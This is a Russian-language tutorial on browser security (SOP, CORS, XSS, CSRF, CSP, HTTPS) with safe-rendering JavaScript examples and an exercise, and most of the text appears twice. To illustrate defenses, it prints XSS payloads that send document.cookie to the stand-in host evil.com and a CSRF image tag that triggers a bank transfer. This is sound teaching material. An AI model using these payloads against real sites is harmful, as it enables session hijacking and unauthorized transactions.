Браузер — основная среда выполнения JavaScript, и он постоянно сталкивается с угрозами: вредоносными скриптами, подделкой запросов, кражей данных. Понимание механизмов безопасности помогает писать код, который не становится уязвимостью.
Same-Origin Policy — фундаментальная защита браузера. Скрипт на https://mysite.ru не может читать ответы от https://api.other.ru или обращаться к DOM страницы на другом origin.
Origin = протокол + домен + порт. Примеры разных origins:
http://example.com и https://example.com — разные (протокол)https://app.example.com и https://api.example.com — разные (субдомен)https://example.com:3000 и https://example.com — разные (порт)CORS (Cross-Origin Resource Sharing) позволяет серверу явно разрешить запросы с других origins. Сервер добавляет заголовки:
Access-Control-Allow-Origin: https://mysite.ru — разрешить этот originAccess-Control-Allow-Origin: * — разрешить всем (небезопасно для API с аутентификацией)Access-Control-Allow-Methods: GET, POSTAccess-Control-Allow-Headers: Content-Type, AuthorizationДля «небезопасных» запросов (с кастомными заголовками или методами PUT/DELETE) браузер сначала делает preflight-запрос OPTIONS. Только если сервер отвечает правильными CORS-заголовками, отправляется реальный запрос.
XSS (Cross-Site Scripting) — внедрение вредоносного JavaScript на страницу через пользовательский ввод. Атакующий заставляет браузер жертвы выполнить его код.
Пример атаки: форма комментариев сохраняет текст и выводит через innerHTML. Атакующий вводит <script>fetch('evil.com?c='+document.cookie)</script> — и скрипт выполняется у всех, кто видит этот комментарий.
Защита:
textContent вместо innerHTML для вывода пользовательских данныхCSRF (Cross-Site Request Forgery) — атака, при которой вредоносный сайт заставляет браузер жертвы отправить запрос к другому сайту от имени жертвы. Браузер автоматически прикладывает cookies к запросу.
Пример: пользователь авторизован в онлайн-банке. Он переходит на вредоносный сайт с картинкой <img src="https://bank.ru/transfer?to=attacker&amount=10000">. Если банк обрабатывает GET-запросы для переводов, деньги утекут.
Защита: CSRF-токены (случайные значения, известные только серверу и клиенту), SameSite cookies, проверка заголовка Origin/Referer.
CSP — HTTP-заголовок, который ограничивает, откуда браузер может загружать ресурсы:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com
Это не позволит выполнить inline-скрипты или загрузить JavaScript с неразрешённых источников, даже если XSS-атака удалась.
HTTPS шифрует трафик между браузером и сервером. Без HTTPS возможен MITM-атаки (man-in-the-middle) — злоумышленник между браузером и сервером может читать и подменять данные. Пароли, номера карт, токены нельзя передавать по HTTP.
Безопасная обработка пользовательского ввода, защита от XSS
// НЕБЕЗОПАСНО: innerHTML с пользовательскими данными открывает XSS
function unsafeRender(container, userInput) {
container.innerHTML = userInput // ОПАСНО!
// Если userInput = '<img src=x onerror="alert(document.cookie)">'
// браузер выполнит onerror — XSS!
}
// БЕЗОПАСНО: textContent экранирует все HTML-символы
function safeRenderText(container, userInput) {
container.textContent = userInput // Безопасно — вставляет как текст, не HTML
// '<script>alert(1)</script>' отобразится буквально, а не выполнится
}
// БЕЗОПАСНО: ручная санация без сторонних библиотек
function sanitizeHTML(input) {
const div = document.createElement('div')
div.textContent = input // экранируем через textContent
return div.innerHTML // получаем безопасный HTML
// '<script>' → '<script>'
}
// Функция для безопасного отображения списка комментариев
function renderComments(container, comments) {
// Очищаем контейнер
container.textContent = ''
comments.forEach(comment => {
const article = document.createElement('article')
const author = document.createElement('strong')
// Используем textContent — данные от пользователя никогда через innerHTML
author.textContent = comment.author
const text = document.createElement('p')
text.textContent = comment.text
article.appendChild(author)
article.appendChild(text)
container.appendChild(article)
})
}
// Пример: вредоносный комментарий становится безобидным текстом
const maliciousComment = {
author: 'Вася<script>стащить куки</script>',
text: '<img src=x onerror="fetch(evil.com+document.cookie)">',
}
const div = document.createElement('div')
renderComments(div, [maliciousComment])
// Всё выводится как текст — атака не сработалаБраузер — основная среда выполнения JavaScript, и он постоянно сталкивается с угрозами: вредоносными скриптами, подделкой запросов, кражей данных. Понимание механизмов безопасности помогает писать код, который не становится уязвимостью.
Same-Origin Policy — фундаментальная защита браузера. Скрипт на https://mysite.ru не может читать ответы от https://api.other.ru или обращаться к DOM страницы на другом origin.
Origin = протокол + домен + порт. Примеры разных origins:
http://example.com и https://example.com — разные (протокол)https://app.example.com и https://api.example.com — разные (субдомен)https://example.com:3000 и https://example.com — разные (порт)CORS (Cross-Origin Resource Sharing) позволяет серверу явно разрешить запросы с других origins. Сервер добавляет заголовки:
Access-Control-Allow-Origin: https://mysite.ru — разрешить этот originAccess-Control-Allow-Origin: * — разрешить всем (небезопасно для API с аутентификацией)Access-Control-Allow-Methods: GET, POSTAccess-Control-Allow-Headers: Content-Type, AuthorizationДля «небезопасных» запросов (с кастомными заголовками или методами PUT/DELETE) браузер сначала делает preflight-запрос OPTIONS. Только если сервер отвечает правильными CORS-заголовками, отправляется реальный запрос.
XSS (Cross-Site Scripting) — внедрение вредоносного JavaScript на страницу через пользовательский ввод. Атакующий заставляет браузер жертвы выполнить его код.
Пример атаки: форма комментариев сохраняет текст и выводит через innerHTML. Атакующий вводит <script>fetch('evil.com?c='+document.cookie)</script> — и скрипт выполняется у всех, кто видит этот комментарий.
Защита:
textContent вместо innerHTML для вывода пользовательских данныхCSRF (Cross-Site Request Forgery) — атака, при которой вредоносный сайт заставляет браузер жертвы отправить запрос к другому сайту от имени жертвы. Браузер автоматически прикладывает cookies к запросу.
Пример: пользователь авторизован в онлайн-банке. Он переходит на вредоносный сайт с картинкой <img src="https://bank.ru/transfer?to=attacker&amount=10000">. Если банк обрабатывает GET-запросы для переводов, деньги утекут.
Защита: CSRF-токены (случайные значения, известные только серверу и клиенту), SameSite cookies, проверка заголовка Origin/Referer.
CSP — HTTP-заголовок, который ограничивает, откуда браузер может загружать ресурсы:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com
Это не позволит выполнить inline-скрипты или загрузить JavaScript с неразрешённых источников, даже если XSS-атака удалась.
HTTPS шифрует трафик между браузером и сервером. Без HTTPS возможен MITM-атаки (man-in-the-middle) — злоумышленник между браузером и сервером может читать и подменять данные. Пароли, номера карт, токены нельзя передавать по HTTP.
Безопасная обработка пользовательского ввода, защита от XSS
// НЕБЕЗОПАСНО: innerHTML с пользовательскими данными открывает XSS
function unsafeRender(container, userInput) {
container.innerHTML = userInput // ОПАСНО!
// Если userInput = '<img src=x onerror="alert(document.cookie)">'
// браузер выполнит onerror — XSS!
}
// БЕЗОПАСНО: textContent экранирует все HTML-символы
function safeRenderText(container, userInput) {
container.textContent = userInput // Безопасно — вставляет как текст, не HTML
// '<script>alert(1)</script>' отобразится буквально, а не выполнится
}
// БЕЗОПАСНО: ручная санация без сторонних библиотек
function sanitizeHTML(input) {
const div = document.createElement('div')
div.textContent = input // экранируем через textContent
return div.innerHTML // получаем безопасный HTML
// '<script>' → '<script>'
}
// Функция для безопасного отображения списка комментариев
function renderComments(container, comments) {
// Очищаем контейнер
container.textContent = ''
comments.forEach(comment => {
const article = document.createElement('article')
const author = document.createElement('strong')
// Используем textContent — данные от пользователя никогда через innerHTML
author.textContent = comment.author
const text = document.createElement('p')
text.textContent = comment.text
article.appendChild(author)
article.appendChild(text)
container.appendChild(article)
})
}
// Пример: вредоносный комментарий становится безобидным текстом
const maliciousComment = {
author: 'Вася<script>стащить куки</script>',
text: '<img src=x onerror="fetch(evil.com+document.cookie)">',
}
const div = document.createElement('div')
renderComments(div, [maliciousComment])
// Всё выводится как текст — атака не сработалаНапиши функцию safeSetContent(element, userText), которая безопасно отображает пользовательский текст в элементе. Функция должна: 1) использовать textContent вместо innerHTML, 2) обрезать текст до 500 символов, 3) убрать лишние пробелы по краям. Также напиши функцию escapeHTML(str), которая заменяет &, <, >, ", ' на HTML-entities.
Используй str.trim() для обрезки пробелов, str.slice(0, 500) для ограничения длины. Устанавливай content через element.textContent. В escapeHTML замени & сначала, иначе экранированные символы будут экранированы повторно.